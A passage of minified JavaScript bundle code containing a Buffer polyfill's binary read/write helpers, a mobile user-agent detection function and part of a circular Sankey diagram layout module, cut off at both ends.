Ee=(Pe<<24)+this[++Le]*Math.pow(2,16)+this[++Le]*Math.pow(2,8)+this[++Le];return(BigInt(Ee)<<BigInt(32))+BigInt(this[++Le]*Math.pow(2,24)+this[++Le]*Math.pow(2,16)+this[++Le]*Math.pow(2,8)+De)}),v.prototype.readFloatLE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,4,this.length),y.read(this,Le,!0,23,4)},v.prototype.readFloatBE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,4,this.length),y.read(this,Le,!1,23,4)},v.prototype.readDoubleLE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,8,this.length),y.read(this,Le,!0,52,8)},v.prototype.readDoubleBE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,8,this.length),y.read(this,Le,!1,52,8)};function oe(Ge,Le,Pe,De,Ee,ye){if(!v.isBuffer(Ge))throw new TypeError('"buffer" argument must be a Buffer instance');if(Le>Ee||Le<ye)throw new RangeError('"value" argument is out of bounds');if(Pe+De>Ge.length)throw new RangeError("Index out of range")}v.prototype.writeUintLE=v.prototype.writeUIntLE=function(Le,Pe,De,Ee){if(Le=+Le,Pe=Pe>>>0,De=De>>>0,!Ee){var ye=Math.pow(2,8*De)-1;oe(this,Le,Pe,De,ye,0)}var ae=1,de=0;for(this[Pe]=Le&255;++de<De&&(ae*=256);)this[Pe+de]=Le/ae&255;return Pe+De},v.prototype.writeUintBE=v.prototype.writeUIntBE=function(Le,Pe,De,Ee){if(Le=+Le,Pe=Pe>>>0,De=De>>>0,!Ee){var ye=Math.pow(2,8*De)-1;oe(this,Le,Pe,De,ye,0)}var ae=De-1,de=1;for(this[Pe+ae]=Le&255;--ae>=0&&(de*=256);)this[Pe+ae]=Le/de&255;return Pe+De},v.prototype.writeUint8=v.prototype.writeUInt8=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,1,255,0),this[Pe]=Le&255,Pe+1},v.prototype.writeUint16LE=v.prototype.writeUInt16LE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,2,65535,0),this[Pe]=Le&255,this[Pe+1]=Le>>>8,Pe+2},v.prototype.writeUint16BE=v.prototype.writeUInt16BE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,2,65535,0),this[Pe]=Le>>>8,this[Pe+1]=Le&255,Pe+2},v.prototype.writeUint32LE=v.prototype.writeUInt32LE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,4,4294967295,0),this[Pe+3]=Le>>>24,this[Pe+2]=Le>>>16,this[Pe+1]=Le>>>8,this[Pe]=Le&255,Pe+4},v.prototype.writeUint32BE=v.prototype.writeUInt32BE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,4,4294967295,0),this[Pe]=Le>>>24,this[Pe+1]=Le>>>16,this[Pe+2]=Le>>>8,this[Pe+3]=Le&255,Pe+4};function re(Ge,Le,Pe,De,Ee){Te(Le,De,Ee,Ge,Pe,7);var ye=Number(Le&BigInt(4294967295));Ge[Pe++]=ye,ye=ye>>8,Ge[Pe++]=ye,ye=ye>>8,Ge[Pe++]=ye,ye=ye>>8,Ge[Pe++]=ye;var ae=Number(Le>>BigInt(32)&BigInt(4294967295));return Ge[Pe++]=ae,ae=ae>>8,Ge[Pe++]=ae,ae=ae>>8,Ge[Pe++]=ae,ae=ae>>8,Ge[Pe++]=ae,Pe}function le(Ge,Le,Pe,De,Ee){Te(Le,De,Ee,Ge,Pe,7);var ye=Number(Le&BigInt(4294967295));Ge[Pe+7]=ye,ye=ye>>8,Ge[Pe+6]=ye,ye=ye>>8,Ge[Pe+5]=ye,ye=ye>>8,Ge[Pe+4]=ye;var ae=Number(Le>>BigInt(32)&BigInt(4294967295));return Ge[Pe+3]=ae,ae=ae>>8,Ge[Pe+2]=ae,ae=ae>>8,Ge[Pe+1]=ae,ae=ae>>8,Ge[Pe]=ae,Pe+8}v.prototype.writeBigUInt64LE=bt(function(Le){var Pe=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return re(this,Le,Pe,BigInt(0),BigInt("0xffffffffffffffff"))}),v.prototype.writeBigUInt64BE=bt(function(Le){var Pe=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return le(this,Le,Pe,BigInt(0),BigInt("0xffffffffffffffff"))}),v.prototype.writeIntLE=function(Le,Pe,De,Ee){if(Le=+Le,Pe=Pe>>>0,!Ee){var ye=Math.pow(2,8*De-1);oe(this,Le,Pe,De,ye-1,-ye)}var ae=0,de=1,Me=0;for(this[Pe]=Le&255;++ae<De&&(de*=256);)Le<0&&Me===0&&this[Pe+ae-1]!==0&&(Me=1),this[Pe+ae]=(Le/de>>0)-Me&255;return Pe+De},v.prototype.writeIntBE=function(Le,Pe,De,Ee){if(Le=+Le,Pe=Pe>>>0,!Ee){var ye=Math.pow(2,8*De-1);oe(this,Le,Pe,De,ye-1,-ye)}var ae=De-1,de=1,Me=0;for(this[Pe+ae]=Le&255;--ae>=0&&(de*=256);)Le<0&&Me===0&&this[Pe+ae+1]!==0&&(Me=1),this[Pe+ae]=(Le/de>>0)-Me&255;return Pe+De},v.prototype.writeInt8=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,1,127,-128),Le<0&&(Le=255+Le+1),this[Pe]=Le&255,Pe+1},v.prototype.writeInt16LE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,2,32767,-32768),this[Pe]=Le&255,this[Pe+1]=Le>>>8,Pe+2},v.prototype.writeInt16BE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,2,32767,-32768),this[Pe]=Le>>>8,this[Pe+1]=Le&255,Pe+2},v.prototype.writeInt32LE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,4,2147483647,-2147483648),this[Pe]=Le&255,this[Pe+1]=Le>>>8,this[Pe+2]=Le>>>16,this[Pe+3]=Le>>>24,Pe+4},v.prototype.writeInt32BE=function(Le,Pe,De){return Le=+Le,Pe=Pe>>>0,De||oe(this,Le,Pe,4,2147483647,-2147483648),Le<0&&(Le=4294967295+Le+1),this[Pe]=Le>>>24,this[Pe+1]=Le>>>16,this[Pe+2]=Le>>>8,this[Pe+3]=Le&255,Pe+4},v.prototype.writeBigInt64LE=bt(function(Le){var Pe=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return re(this,Le,Pe,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))}),v.prototype.writeBigInt64BE=bt(function(Le){var Pe=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return le(this,Le,Pe,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function pe(Ge,Le,Pe,De,Ee,ye){if(Pe+De>Ge.length)throw new RangeError("Index out of range");if(Pe<0)throw new RangeError("Index out of range")}function we(Ge,Le,Pe,De,Ee){return Le=+Le,Pe=Pe>>>0,Ee||pe(Ge,Le,Pe,4),y.write(Ge,Le,Pe,De,23,4),Pe+4}v.prototype.writeFloatLE=function(Le,Pe,De){return we(this,Le,Pe,!0,De)},v.prototype.writeFloatBE=function(Le,Pe,De){return we(this,Le,Pe,!1,De)};function xe(Ge,Le,Pe,De,Ee){return Le=+Le,Pe=Pe>>>0,Ee||pe(Ge,Le,Pe,8),y.write(Ge,Le,Pe,De,52,8),Pe+8}v.prototype.writeDoubleLE=function(Le,Pe,De){return xe(this,Le,Pe,!0,De)},v.prototype.writeDoubleBE=function(Le,Pe,De){return xe(this,Le,Pe,!1,De)},v.prototype.copy=function(Le,Pe,De,Ee){if(!v.isBuffer(Le))throw new TypeError("argument should be a Buffer");if(De||(De=0),!Ee&&Ee!==0&&(Ee=this.length),Pe>=Le.length&&(Pe=Le.length),Pe||(Pe=0),Ee>0&&Ee<De&&(Ee=De),Ee===De||Le.length===0||this.length===0)return 0;if(Pe<0)throw new RangeError("targetStart out of bounds");if(De<0||De>=this.length)throw new RangeError("Index out of range");if(Ee<0)throw new RangeError("sourceEnd out of bounds");Ee>this.length&&(Ee=this.length),Le.length-Pe<Ee-De&&(Ee=Le.length-Pe+De);var ye=Ee-De;return this===Le&&typeof Uint8Array.prototype.copyWithin=="function"?this.copyWithin(Pe,De,Ee):Uint8Array.prototype.set.call(Le,this.subarray(De,Ee),Pe),ye},v.prototype.fill=function(Le,Pe,De,Ee){if(typeof Le=="string"){if(typeof Pe=="string"?(Ee=Pe,Pe=0,De=this.length):typeof De=="string"&&(Ee=De,De=this.length),Ee!==void 0&&typeof Ee!="string")throw new TypeError("encoding must be a string");if(typeof Ee=="string"&&!v.isEncoding(Ee))throw new TypeError("Unknown encoding: "+Ee);if(Le.length===1){var ye=Le.charCodeAt(0);(Ee==="utf8"&&ye<128||Ee==="latin1")&&(Le=ye)}}else typeof Le=="number"?Le=Le&255:typeof Le=="boolean"&&(Le=Number(Le));if(Pe<0||this.length<Pe||this.length<De)throw new RangeError("Out of range index");if(De<=Pe)return this;Pe=Pe>>>0,De=De===void 0?this.length:De>>>0,Le||(Le=0);var ae;if(typeof Le=="number")for(ae=Pe;ae<De;++ae)this[ae]=Le;else{var de=v.isBuffer(Le)?Le:v.from(Le,Ee),Me=de.length;if(Me===0)throw new TypeError('The value "'+Le+'" is invalid for argument "value"');for(ae=0;ae<De-Pe;++ae)this[ae+Pe]=de[ae%Me]}return this};var ke={};function _e(Ge,Le,Pe){ke[Ge]=function(De){d(ye,De);var Ee=t(ye);function ye(){var ae;return M(this,ye),ae=Ee.call(this),Object.defineProperty(f(ae),"message",{value:Le.apply(f(ae),arguments),writable:!0,configurable:!0}),ae.name="".concat(ae.name," [").concat(Ge,"]"),ae.stack,delete ae.name,ae}return o(ye,[{key:"code",get:function(){return Ge},set:function(de){Object.defineProperty(this,"code",{configurable:!0,enumerable:!0,value:de,writable:!0})}},{key:"toString",value:function(){return"".concat(this.name," [").concat(Ge,"]: ").concat(this.message)}}]),ye}(Pe)}_e("ERR_BUFFER_OUT_OF_BOUNDS",function(Ge){return Ge?"".concat(Ge," is outside of buffer bounds"):"Attempt to access memory outside buffer bounds"},RangeError),_e("ERR_INVALID_ARG_TYPE",function(Ge,Le){return'The "'.concat(Ge,'" argument must be of type number. Received type ').concat(u(Le))},TypeError),_e("ERR_OUT_OF_RANGE",function(Ge,Le,Pe){var De='The value of "'.concat(Ge,'" is out of range.'),Ee=Pe;return Number.isInteger(Pe)&&Math.abs(Pe)>Math.pow(2,32)?Ee=be(String(Pe)):typeof Pe=="bigint"&&(Ee=String(Pe),(Pe>Math.pow(BigInt(2),BigInt(32))||Pe<-Math.pow(BigInt(2),BigInt(32)))&&(Ee=be(Ee)),Ee+="n"),De+=" It must be ".concat(Le,". Received ").concat(Ee),De},RangeError);function be(Ge){for(var Le="",Pe=Ge.length,De=Ge[0]==="-"?1:0;Pe>=De+4;Pe-=3)Le="_".concat(Ge.slice(Pe-3,Pe)).concat(Le);return"".concat(Ge.slice(0,Pe)).concat(Le)}function ge(Ge,Le,Pe){Fe(Le,"offset"),(Ge[Le]===void 0||Ge[Le+Pe]===void 0)&&Oe(Le,Ge.length-(Pe+1))}function Te(Ge,Le,Pe,De,Ee,ye){if(Ge>Pe||Ge<Le){var ae=typeof Le=="bigint"?"n":"",de;throw Le===0||Le===BigInt(0)?de=">= 0".concat(ae," and < 2").concat(ae," ** ").concat((ye+1)*8).concat(ae):de=">= -(2".concat(ae," ** ").concat((ye+1)*8-1).concat(ae,") and < 2 ** ")+"".concat((ye+1)*8-1).concat(ae),new ke.ERR_OUT_OF_RANGE("value",de,Ge)}ge(De,Ee,ye)}function Fe(Ge,Le){if(typeof Ge!="number")throw new ke.ERR_INVALID_ARG_TYPE(Le,"number",Ge)}function Oe(Ge,Le,Pe){throw Math.floor(Ge)!==Ge?(Fe(Ge,Pe),new ke.ERR_OUT_OF_RANGE("offset","an integer",Ge)):Le<0?new ke.ERR_BUFFER_OUT_OF_BOUNDS:new ke.ERR_OUT_OF_RANGE("offset",">= ".concat(0," and <= ").concat(Le),Ge)}var Ce=/[^+/0-9A-Za-z-_]/g;function Be(Ge){if(Ge=Ge.split("=")[0],Ge=Ge.trim().replace(Ce,""),Ge.length<2)return"";for(;Ge.length%4!==0;)Ge=Ge+"=";return Ge}function $e(Ge,Le){Le=Le||1/0;for(var Pe,De=Ge.length,Ee=null,ye=[],ae=0;ae<De;++ae){if(Pe=Ge.charCodeAt(ae),Pe>55295&&Pe<57344){if(!Ee){if(Pe>56319){(Le-=3)>-1&&ye.push(239,191,189);continue}else if(ae+1===De){(Le-=3)>-1&&ye.push(239,191,189);continue}Ee=Pe;continue}if(Pe<56320){(Le-=3)>-1&&ye.push(239,191,189),Ee=Pe;continue}Pe=(Ee-55296<<10|Pe-56320)+65536}else Ee&&(Le-=3)>-1&&ye.push(239,191,189);if(Ee=null,Pe<128){if((Le-=1)<0)break;ye.push(Pe)}else if(Pe<2048){if((Le-=2)<0)break;ye.push(Pe>>6|192,Pe&63|128)}else if(Pe<65536){if((Le-=3)<0)break;ye.push(Pe>>12|224,Pe>>6&63|128,Pe&63|128)}else if(Pe<1114112){if((Le-=4)<0)break;ye.push(Pe>>18|240,Pe>>12&63|128,Pe>>6&63|128,Pe&63|128)}else throw new Error("Invalid code point")}return ye}function Xe(Ge){for(var Le=[],Pe=0;Pe<Ge.length;++Pe)Le.push(Ge.charCodeAt(Pe)&255);return Le}function Ze(Ge,Le){for(var Pe,De,Ee,ye=[],ae=0;ae<Ge.length&&!((Le-=2)<0);++ae)Pe=Ge.charCodeAt(ae),De=Pe>>8,Ee=Pe%256,ye.push(Ee),ye.push(De);return ye}function Ke(Ge){return s.toByteArray(Be(Ge))}function st(Ge,Le,Pe,De){var Ee;for(Ee=0;Ee<De&&!(Ee+Pe>=Le.length||Ee>=Ge.length);++Ee)Le[Ee+Pe]=Ge[Ee];return Ee}function lt(Ge,Le){return Ge instanceof Le||Ge!=null&&Ge.constructor!=null&&Ge.constructor.name!=null&&Ge.constructor.name===Le.name}function ut(Ge){return Ge!==Ge}var yt=function(){for(var Ge="0123456789abcdef",Le=new Array(256),Pe=0;Pe<16;++Pe)for(var De=Pe*16,Ee=0;Ee<16;++Ee)Le[De+Ee]=Ge[Pe]+Ge[Ee];return Le}();function bt(Ge){return typeof BigInt>"u"?Ot:Ge}function Ot(){throw new Error("BigInt not supported")}},35791:function(te){te.exports=P,te.exports.isMobile=P,te.exports.default=P;var Z=/(android|bb\d+|meego).+mobile|armv7l|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series[46]0|samsungbrowser.*mobile|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i,e=/CrOS/,M=/android|ipad|playbook|silk/i;function P(o){o||(o={});var L=o.ua;if(!L&&typeof navigator<"u"&&(L=navigator.userAgent),L&&L.headers&&typeof L.headers["user-agent"]=="string"&&(L=L.headers["user-agent"]),typeof L!="string")return!1;var S=Z.test(L)&&!e.test(L)||!!o.tablet&&M.test(L);return!S&&o.tablet&&o.featureDetect&&navigator&&navigator.maxTouchPoints>1&&L.indexOf("Macintosh")!==-1&&L.indexOf("Safari")!==-1&&(S=!0),S}},86781:function(te,Z,e){e.r(Z),e.d(Z,{sankeyCenter:function(){return f},sankeyCircular:function(){return C},sankeyJustify:function(){return r},sankeyLeft:function(){return g},sankeyRight:function(){return t}});var M=e(33064),P=e(15140),o=e(45879),L=e(2502),S=e.n(L);function d(xe){return xe.target.depth}function g(xe){return xe.depth}function t(xe,ke){return ke-1-xe.height}function r(xe,ke){return xe.sourceLinks.length?xe.depth:ke-1}function f(xe){return xe.targetLinks.length?xe.depth:xe.sourceLinks.length?(0,M.VV)(xe.sourceLinks,d)-1:0}function a(xe){return function(){return xe}}var l=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(xe){return typeof xe}:function(xe){return xe&&typeof Symbol=="function"&&xe.constructor===Symbol&&xe!==Symbol.prototype?"symbol":typeof xe};function u(xe,ke){return y(xe.source,ke.source)||xe.index-ke.index}function s(xe,ke){return y(xe.target,ke.target)||xe.index-ke.index}function y(xe,ke){return xe.partOfCycle===ke.partOfCycle?xe.y0-ke.y0:xe.circularLinkType==="top"||ke.circularLinkType==="bottom"?-1:1}function c(xe){return xe.value}function b(xe){return(xe.y0+xe.y1)/2}function h(xe){return b(xe.source)}function i(xe){return b(xe.target)}function v(xe){return xe.index}function T(xe){return xe.nodes}function w(xe){return xe.links}function E(xe,ke){var _e=xe.get(ke);if(!_e)throw new Error("missing: "+ke);return _e}function p(xe,ke){return ke(xe)}var A=25,m=10,n=.3;function C(){var xe=0,ke=0,_e=1,be=1,ge=24,Te,Fe=v,Oe=r,Ce=T,Be=w,$e=32,Xe=2,Ze,Ke=null;function st(){var Pe={nodes:Ce.apply(null,arguments),links:Be.apply(null,arguments)};lt(Pe),x(Pe,Fe,Ke),ut(Pe),Ot(Pe),I(Pe,Fe),Ge(Pe,$e,Fe),Le(Pe);for(var De=4,Ee=0;Ee<De;Ee++)K(Pe,be,Fe),oe(Pe,be,Fe),Q(Pe,ke,be,Fe),K(Pe,be,Fe),oe(Pe,be,Fe);return we(Pe,ke,be),z(Pe,Xe,be,Fe),Pe}st.nodeId=function(Pe){return arguments.length?(Fe=typeof Pe=="function"?Pe:a(Pe),st):Fe},st.nodeAlign=function(Pe){return arguments.length?(Oe=typeof Pe=="function"?Pe:a(Pe),st):Oe},st.nodeWidth=function(Pe){return arguments.length?(ge=+Pe,st):ge},st.nodePadding=function(Pe){return arguments.length?(Te=+Pe,st):Te},st.nodes=function(Pe){return arguments.length?(Ce=typeof Pe=="function"?Pe:a(Pe),st):Ce},st.links=function(Pe){return arguments.length?(Be=typeof Pe=="function"?Pe:a(Pe),st):Be},st.size=function(Pe){return arguments.length?(xe=ke=0,_e=+Pe[0],be=+Pe[1],st):[_e-xe,be-ke]},st.extent=function(Pe){return arguments.length?(xe=+Pe[0][0],_e=+Pe[1][0],ke=+Pe[0][1],be=+Pe[1][1],st):[[xe,ke],[_e,be]]},st.iterations=function(Pe){return arguments.length?($e=+Pe,st):$e},st.circularLinkGap=function(Pe){return arguments.length?(Xe=+Pe,st):Xe},st.nodePaddingRatio=function(Pe){return arguments.length?(Ze=+Pe,st):Ze},st.sortNodes=function(Pe){return arguments.length?(Ke=Pe,st):Ke},st.update=function(Pe){return I(Pe,Fe),Le(Pe),Pe.links.forEach(function(De){De.circular&&(De.circularLinkType=De.y0+De.y1<be?"top":"bottom",De.source.circularLinkType=De.circularLinkType,De.target.circularLinkType=De.circularLinkType)}),K(Pe,be,Fe,!1),oe(Pe,be,Fe),z(Pe,Xe,be,Fe),Pe};function lt(Pe){Pe.nodes.forEach(function(Ee,ye){Ee.index=ye,Ee.sourceLinks=[],Ee.targetLinks=[]});var De=(0,P.UI)(Pe.nodes,Fe);return Pe.links.forEach(function(Ee,ye){Ee.index=ye;var ae=Ee.source,de=Ee.target;(typeof ae>"u"?"undefined":l(ae))!=="object"&&(ae=Ee.source=E(De,ae)),(typeof de>"u"?"undefined":l(de))!=="object"&&(de=Ee.target=E(De,de)),ae.sourceLinks.push(Ee),de.targetLinks.push(Ee)}),Pe}function ut(Pe){Pe.nodes.forEach(function(De){De.partOfCycle=!1,De.value=Math.max((0,M.Sm)(De.sourceLinks,c),(0,M.Sm)(De.targetLinks,c)),De.sourceLinks.forEach(function(Ee){Ee.circular&&(De.partOfCycle=!0,De.circularLinkType=Ee.circularLinkType)}),De.targetLinks.forEach(function(Ee){Ee.circular&&(De.partOfCycle=!0,De.circularLinkType=Ee.circularLinkType)})})}function yt(Pe){var De=0,Ee=0,ye=0,ae=0,de=(0,M.Fp)(Pe.nodes,function(Me){return Me.column});return Pe.links.forEach(function(Me){Me.circular&&(Me.circularLinkType=="top"?De=De+Me.width:Ee=Ee+Me.width,Me.target.column==0&&(ae=ae+Me.width),Me.source.column==de&&(ye=ye+Me.width))}),De=De>0?De+A+m:De,Ee=Ee>0?Ee+A+m:Ee,ye=ye>0?ye+A+m:ye,ae=ae>0?ae+A+m:ae,{top:De,bottom:Ee,left:ae,right:ye}}function bt(Pe,De){var Ee=(0,M.Fp)(Pe.nodes,function(et){return et.column}),ye=_e-xe,ae=be-ke,de=ye+De.right+De.left,Me=ae+De.top+De.bottom,Ie=ye/de,Qe=ae/Me;return xe=xe*Ie+De.left,_e=De.right==0?_e:_e*Ie,ke=ke*Qe+De.top,be=be*Qe,Pe.nodes.forEach(function(et){et.x0=xe+et.column*((_e-xe-ge)/Ee),et.x1=et.x0+ge}),Qe}function Ot(Pe){var De,Ee,ye;for(De=Pe.nodes,Ee=[],ye=0;De.length;++ye,De=Ee,Ee=[])De.forEach(function(ae){ae.depth=ye,ae.sourceLinks.forEach(function(de){Ee.indexOf(de.target)<0&&!de.circular&&Ee.push(de.target)})});for(De=Pe.nodes,Ee=[],ye=0;De.length;++ye,De=Ee,Ee=[])De.forEach(function(ae){ae.height=ye,ae.targetLinks.forEach(function(de){Ee.indexOf(de.source)<0&&!de.circular&&Ee.push(de.source)})});Pe.nodes.forEach(function(ae){ae.column=Math.floor(Oe.call(null,ae,ye))})}function Ge(Pe,De,Ee){var ye=(0,P.b1)().key(function(et){return et.column}).sortKeys(M.j2).entries(Pe.nodes).map(function(et){return et.values});Me(Ee),Qe();for(var ae=1,de=De;de>0;--de)Ie(ae*=.99,Ee),Qe();function Me(et){if(Ze){var pt=1/0;ye.forEach(function(Tt){var Gt=be*Ze/(Tt.length+1);pt=Gt<pt?Gt:pt}),Te=pt}var St=(0,M.VV)(ye,function(Tt){return(be-ke-(Tt.length-1)*Te)/(0,M.Sm)(Tt,c)});St=St*n,Pe.links.forEach(function(Tt){Tt.width=Tt.value*St});var _t=yt(Pe),Ft=bt(Pe,_t);St=St*Ft,Pe.links.forEach(function(Tt){Tt.width=Tt.value*St}),ye.forEach(function(Tt){var Gt=Tt.length;Tt.forEach(function(er,Pr){er.depth==ye.length-1&&Gt==1||er.depth==0&&Gt==1?(er.y0=be/2-er.value*St,er.y1=er.y0+er.value*St):er.partOfCycle?_(er,et)==0?(er.y0=be/2+Pr,er.y1=er.y0+er.value*St):er.circularLinkType=="top"?(er.y0=ke+Pr,er.y1=er.y0+er.value*St):(er.y0=be-er.value*St-Pr,er.y1=er.y0+er.value*St):_t.top==0||_t.bottom==0?(er.y0=(be-ke)/Gt*Pr,er.y1=er.y0+er.value*St):(er.y0=(be-ke)/2-Gt/2+Pr,er.y1=er.y0+er.value*St)})})}function Ie(et,pt){var St=ye.length;ye.forEach(function(_t){var Ft=_t.length,Tt=_t[0].depth;_t.forEach(function(Gt){var er;if((Gt.sourceLinks.length||Gt.targetLinks.length)&&!(Gt.partOfCycle&&_(Gt,pt)>0))if(Tt==0&&Ft==1)er=Gt.y1-Gt.y0,Gt.y0=be/2-er/2,Gt.y1=be/2+er/2;else if(Tt==St-1&&Ft==1)er=Gt.y1-Gt.y0,Gt.y0=be/2-er/2,Gt.y1=be/2+er/2;else{var Pr=0,ct=(0,M.J6)(Gt.sourceLinks,i),Vt=(0,M.J6)(Gt.targetLinks,h);ct&&Vt?Pr=(ct+Vt)/2:Pr=ct||Vt;var Ut=(Pr-b(Gt))*et;Gt.y0+=Ut,Gt.y1+=Ut}})})}function Qe(){ye.forEach(function(et){var pt,St,_t=ke,Ft=et.length,Tt;for(et.sort(y),Tt=0;Tt<Ft;++Tt)pt=et[Tt],St=_t-pt.y0,St>0&&(pt.y0+=St,pt.y1+=St),_t=pt.y1+Te;if(St=_t-Te-be,St>0)for(_t=pt.y0-=St,pt.y1-=St,Tt=Ft-2;Tt>=0;--Tt)pt=et[Tt],St=pt.y1+Te-_t,St>0&&(pt.y0-=St,pt.y1-=St),_t=pt.y0})}}function Le(Pe){Pe.nodes.forEach(function(De){De.sourceLinks.sort(s),De.targetLinks.sort(u)}),Pe.nodes.forEach(function(De){var Ee=De.y0,ye=Ee,ae=De.y1,de=ae;De.sourceLinks.forEach(function(Me){Me.circular?(Me.y0=ae-Me.width/2,ae=ae-Me.width):(Me.y0=Ee+Me.width/2,Ee+=Me.width)}),De.targetLinks.forEach(function(Me){Me.circular?(Me.y1=de-Me.width/2,de=de-Me.width):(Me.y1=ye+Me.width/2,ye+=Me.width)})})}return st}function x(xe,ke,_e){var be=0;if(_e===null){for(var ge=[],Te=0;Te<xe.links.length;Te++){var Fe=xe.links[Te],Oe=Fe.source.index,Ce=Fe.target.index;ge[Oe]||(ge[Oe]=[]),ge[Ce]||(ge[Ce]=[]),ge[Oe].indexOf(Ce)===-1&&ge[Oe].push(Ce)}var Be=S()(ge);Be.sort(function(Ke,st){return Ke.length-st.length});var $e={};for(Te=0;Te<Be.length;Te++){var Xe=Be[Te],Ze=Xe.slice(-2);$e[Ze[0]]||($e[Ze[0]]={}),$e[Ze[0]][Ze[1]]=!0}xe.links.forEach(function(Ke){var st=Ke.target.index,lt=Ke.source.index;st===lt||$e[lt]&&$e[lt][st]?(Ke.circular=!0,Ke.circularLinkID=be,be=be+1):Ke.circular=!1})}else xe.links.forEach(function(Ke){Ke.source[_e]<Ke.target[_e]?Ke.circular=!1:(Ke.circular=!0,Ke.circularLinkID=be,be=be+1)})}function I(xe,ke){var _e=0,be=0;xe.links.forEach(function(ge){ge.circular&&(ge.source.circularLinkType||ge.target.circularLinkType?ge.circularLinkType=ge.source.circularLinkType?ge.source.circularLinkType:ge.target.circularLinkType:ge.circularLinkType=_e<be?"top":"bottom",ge.circularLinkType=="top"?_e=_e+1:be=be+1,xe.nodes.forEach(function(Te){(p(Te,ke)==p(ge.source,ke)||p(Te,ke)==p(ge.target,ke))&&(Te.circularLinkType=ge.circularLinkType)}))}),xe.links.forEach(function(ge){ge.circular&&(ge.source.circularLinkType==ge.target.circularLinkType&&(ge.circularLinkType=ge.source.circularLinkType),pe(ge,ke)&&(ge.circularLinkType=ge.source.circularLinkType))})}function k(xe){var ke=Math.abs(xe.y1-xe.y0),_e=Math.abs(xe.target.x0-xe.source.x1);return Math.atan(_e/ke)}function B(xe,ke){return xe.source.column<ke.target.column?!1:!(xe.target.column>ke.source.column)}function _(xe,ke){var _e=0;xe.sourceLinks.forEach(function(ge){_e=ge.circular&&!pe(ge,ke)?_e+1:_e});var be=0;return xe.targetLinks.forEach(function(ge){be=ge.circular&&!pe(ge,ke)?be+1:be}),_e+be}function F(xe){var ke=xe.source.sourceLinks,_e=0;ke.forEach(function(Te){_e=Te.circular?_e+1:_e});var be=xe.target.targetLinks,ge=0;return be.forEach(function(Te){ge=Te.circular?ge+1:ge}),!(_e>1||ge>1)}function O(xe,ke,_e){return xe.sort(G),xe.forEach(function(be,ge){var Te=0;if(pe(be,_e)&&F(be))be.circularPathData.verticalBuffer=Te+be.width/2;else{var Fe=0;for(Fe;Fe<ge;Fe++)if(B(xe[ge],xe[Fe])){var Oe=xe[Fe].circularPathData.verticalBuffer+xe[Fe].width/2+ke;Te=Oe>Te?Oe:Te}be.circularPathData.verticalBuffer=Te+be.width/2}}),xe}function z(xe,ke,_e,be){var ge=5,Te=(0,M.VV)(xe.links,function(Ce){return Ce.source.y0});xe.links.forEach(function(Ce){Ce.circular&&(Ce.circularPathData={})});var Fe=xe.links.filter(function(Ce){return Ce.circularLinkType=="top"});O(Fe,ke,be);var Oe=xe.links.filter(function(Ce){return Ce.circularLinkType=="bottom"});O(Oe,ke,be),xe.links.forEach(function(Ce){if(Ce.circular){if(Ce.circularPathData.arcRadius=Ce.width+m,Ce.circularPathData.leftNodeBuffer=ge,Ce.circularPathData.rightNodeBuffer=ge,Ce.circularPathData.sourceWidth=Ce.source.x1-Ce.source.x0,Ce.circularPathData.sourceX=Ce.source.x0+Ce.circularPathData.sourceWidth,Ce.circularPathData.targetX=Ce.target.x0,Ce.circularPathData.sourceY=Ce.y0,Ce.circularPathData.targetY=Ce.y1,pe(Ce,be)&&F(Ce))Ce.circularPathData.leftSmallArcRadius=m+Ce.width/2,Ce.circularPathData.leftLargeArcRadius=m+Ce.width/2,Ce.circularPathData.rightSmallArcRadius=m+Ce.width/2,Ce.circularPathData.rightLargeArcRadius=m+Ce.width/2,Ce.circularLinkType=="bottom"?(Ce.circularPathData.verticalFullExtent=Ce.source.y1+A+Ce.circularPathData.verticalBuffer,Ce.circularPathData.verticalLeftInnerExtent=Ce.circularPathData.verticalFullExtent-Ce.circularPathData.leftLargeArcRadius,Ce.circularPathData.verticalRightInnerExtent=Ce.circularPathData.verticalFullExtent-Ce.circularPathData.rightLargeArcRadius):(Ce.circularPathData.verticalFullExtent=Ce.source.y0-A-Ce.circularPathData.verticalBuffer,Ce.circularPathData.verticalLeftInnerExtent=Ce.circularPathData.verticalFullExtent+Ce.circularPathData.leftLargeArcRadius,Ce.circularPathData.verticalRightInnerExtent=Ce.circularPathData.verticalFullExtent+Ce.circularPathData.rightLargeArcRadius);else{var Be=Ce.source.column,$e=Ce.circularLinkType,Xe=xe.links.filter(function(st){return st.source.column==Be&&st.circularLinkType==$e});Ce.circularLinkType=="bottom"?Xe.sort(q):Xe.sort(J);var Ze=0;Xe.forEach(function(st,lt){st.circularLinkID==Ce.circularLinkID&&(Ce.circularPathData.leftSmallArcRadius=m+Ce.width/2+Ze,Ce.circularPathData.leftLargeArcRadius=m+Ce.width/2+lt*ke+Ze),Ze=Ze+st.width}),Be=Ce.target.column,Xe=xe.links.filter(function(st){return 